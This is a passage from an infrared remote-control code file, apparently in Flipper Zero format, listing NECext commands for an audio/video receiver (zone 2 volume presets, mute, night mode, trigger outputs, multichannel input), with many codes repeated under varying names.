+protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2:_VOL_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2_VOL_BANK_RECALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2:_VOL_RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2:_VOL_RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: STATUS_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: STATUS_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2_VOL_RECALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2:_VOLP_RECL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2:_VOL_MEM_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2_VOL_MEM_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2_PRESET_RECALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2:_VL_P_RECL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2_VOL_MEM:_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: VOL_RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2:_VOL._RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2_VOL_RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2:_VOL_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2_VOL_BANK_RECALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2:_VOL_RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2:_VOL_RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: STATUS_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: STATUS_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8E 00 00 00 +# +name: Z2_VOL_RECALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2:_VOLP_RECL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2:_VOL_MEM_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2_VOL_MEM_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2_PRESET_RECALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2:_VL_P_RECL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2_VOL_MEM:_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: DISP_STATUS_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: VOL_RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2:_VOL._RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2_VOL_RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2:_VOL_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2_VOL_BANK_RECALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2:_VOL_RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2:_VOL_RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8F 00 00 00 +# +name: Z2_VOL_RECALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2:_VOLP_RECL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2:_VOL_MEM_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2_VOL_MEM_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2_PRESET_RECALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2:_VL_P_RECL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2_VOL_MEM:_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: VOL_RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: DISP_STATUS_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2:_VOL._RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2_VOL_RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2:_VOL_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2_VOL_BANK_RECALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2:_SYSM_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2:_VOL_RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: STATUS_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2:_VOL_RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: STATUS_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 90 00 00 00 +# +name: Z2_VOL_RECALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2:_VOLP_RECL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2:_VOL_MEM_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2_VOL_MEM_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2_PRESET_RECALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2:_VL_P_RECL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2_VOL_MEM:_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: DISP_STATUS_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2:_VOL._RECALL_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2_VOL_RECALL_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2:_VOL_REC_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2_VOL_BANK_RECALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2:_VOL_RECALL_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2:_VOL_RECALL_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: STATUS_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: STATUS_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 91 00 00 00 +# +name: Z2_VOL_RECALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2:_VOLP_RECL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2:_VOL_MEM_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2_VOL_MEM_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2_PRESET_RECALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2:_VL_P_RECL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2_VOL_MEM:_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2:_VOL._RECALL_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2_VOL_RECALL_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2:_VOL_REC_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2_VOL_BANK_RECALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2:_VOL_RECALL_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: Z2:_VOL_RECALL_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: STATUS_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: STATUS_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 92 00 00 00 +# +name: DISP_INFO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 93 00 00 00 +# +name: DUAL_MONO_MAIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 93 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 93 00 00 00 +# +name: DUAL_MONO_MAIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 93 00 00 00 +# +name: DISP_INFO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 94 00 00 00 +# +name: DUAL_MONO_SUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 94 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 94 00 00 00 +# +name: DUAL_MONO_SUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 94 00 00 00 +# +name: INFO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 94 00 00 00 +# +name: INFO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 94 00 00 00 +# +name: DISP_INFO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 95 00 00 00 +# +name: DUAL_MONO_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 95 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 95 00 00 00 +# +name: INFO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 95 00 00 00 +# +name: INFO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 95 00 00 00 +# +name: 12V:_DC2_CTL_Z1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 96 00 00 00 +# +name: DC2_TRIG_CTRL_Z1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 96 00 00 00 +# +name: DC2_TRG_CTL:_ZONE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 96 00 00 00 +# +name: DC2_TRG_CTRL_ZONE1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 96 00 00 00 +# +name: DC2_TRIGGER_CONTROL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 96 00 00 00 +# +name: TRIGGER:_2_CTRL_MZ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 96 00 00 00 +# +name: INFO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 96 00 00 00 +# +name: INFO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 96 00 00 00 +# +name: 12V:_DC2_CTL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 97 00 00 00 +# +name: DC2_TRIG_CTRL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 97 00 00 00 +# +name: DC2_TRG_CTL:_ZONE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 97 00 00 00 +# +name: DC2_TRG_CTRL_ZONE2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 97 00 00 00 +# +name: DISP_INFO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 97 00 00 00 +# +name: TRIGGER_2_CTRL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 97 00 00 00 +# +name: TRIGGER_2_CTRL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 97 00 00 00 +# +name: 12V:_DC2_CTL_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 98 00 00 00 +# +name: DC2_TRIG_CTRL_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 98 00 00 00 +# +name: DC2_TRG_CTL:_ALL_OR +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 98 00 00 00 +# +name: DC2_TRG_CTRL_Z1_&_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 98 00 00 00 +# +name: DC2_TRG_CTRL_ALL_ZON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 98 00 00 00 +# +name: DISP_INFO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 98 00 00 00 +# +name: TRIGGER:_2_CTRL_MZ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 98 00 00 00 +# +name: INFO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 98 00 00 00 +# +name: INFO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 98 00 00 00 +# +name: Z2_SPKR_OUT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 99 00 00 00 +# +name: Z2:_AMP_INTERNAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 99 00 00 00 +# +name: Z2_SP_SET_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 99 00 00 00 +# +name: Z2:_SPKR_OUT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 99 00 00 00 +# +name: Z2:_AMP_INT:_PRNS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 99 00 00 00 +# +name: DISP_INFO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 99 00 00 00 +# +name: Z2_SPKR_OUT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 99 00 00 00 +# +name: INFO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 99 00 00 00 +# +name: INFO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 99 00 00 00 +# +name: Z2_SPKR_OUT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9A 00 00 00 +# +name: Z2:_AMP_EXTERNAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9A 00 00 00 +# +name: Z2_SP_SET_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9A 00 00 00 +# +name: Z2:_SPKR_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9A 00 00 00 +# +name: Z2:_AMP_EXT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9A 00 00 00 +# +name: Z2_SPKR_OUT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9A 00 00 00 +# +name: INFO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9A 00 00 00 +# +name: INFO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9A 00 00 00 +# +name: NIGHT_MODE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: DSP:_NIGHT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: DSP:_NIGHT_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: DSP:_NIGHT_MODE_CIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: NIGHT:_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: SUBMENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: SYS_MEM_1_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: NIGHT_MODE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: SUB_MENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: SUB_MENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: NIGHT_MODE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9C 00 00 00 +# +name: DSP:_NIGHT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9C 00 00 00 +# +name: NIGHT:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9C 00 00 00 +# +name: SUBMENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9C 00 00 00 +# +name: NIGHT_MODE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9C 00 00 00 +# +name: SUBMENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9C 00 00 00 +# +name: SUBMENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9D 00 00 00 +# +name: SUBMENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9D 00 00 00 +# +name: SUBMENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9E 00 00 00 +# +name: SUBMENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9E 00 00 00 +# +name: 12V:_DC2_CTL_Z3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9F 00 00 00 +# +name: DC2_TRIG_CTRL_Z3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9F 00 00 00 +# +name: DC2_TRG_CTL:_ZONE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9F 00 00 00 +# +name: SUBMENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9F 00 00 00 +# +name: DC2_TRIGGER_CONTROL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9F 00 00 00 +# +name: SUB_MENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9F 00 00 00 +# +name: SUB_MENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9F 00 00 00 +# +name: TRIGGER_2_CTRL_Z3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9F 00 00 00 +# +name: TRIGGER_2_CTRL_Z3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9F 00 00 00 +# +name: Z2_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: Z2:_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: MUTE_ON_(FULL) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: SUBMENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: ZONE_2:_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: ZONE2:_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: Z2_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: Z2:_MUTE_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: ZONE2_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: SUBMENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A0 00 00 00 +# +name: Z2_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: Z2:_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: SUBMENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: ZONE_2:_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: ZONE2:_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: Z2_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: ZONE2_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: SUBMENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A1 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: AUDIO_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MZ:_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MZ_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MUTE_ON_(FULL) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MAIN:_MUTE_ON(FULL) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MUTE:_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MAIN:_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: AUDIO_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MZ:_MUTE_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MAIN_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MZ:_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: SUBMENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: SUBMENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: AUDIO_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: MZ:_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: MZ_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: DCODE_NEURAL_MUSI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: MAIN:_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: MUTE:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: AUDIO_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: MAIN_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: SUR_NEURAL_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: MZ:_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: SUR_NEURAL_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: MULTICH_INPUT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: 6CH._INPUT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: 6CH_INPUT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: MZ:_EXT_INP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: MZ:_MULTI-CH_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: MULTI_CH_INPUT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: INPUT:_MULTI-CH_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: MAIN:_EXT_INPUT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: MULTICH_INPUT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: ?MZ:_MULTI-CH_TOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: MZ:_M.CH_INP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: VIDEO_PRESET_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: VIDEO_PRESET_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A4 00 00 00 +# +name: MULTICH_INPUT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: 6CH._INPUT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: 6CH_INPUT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: MZ:_EXT_INP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: MZ:_MULTI-CH_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: INPUT:_MULTI-CH_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: MAIN:_EXT_INPUT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: MULTICH_INPUT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: MZ:_M.CH_INP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: VIDEO_PRESET_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: VIDEO_PRESET_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A5 00 00 00 +# +name: AUDIO_SELECT_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: DECODE_MODE_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: INPUT_MODE:_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: INPUT_MODE_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: MZ:_INP_MODE_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: MZ:_AUDIO_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: AUDIO_SEL:_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: 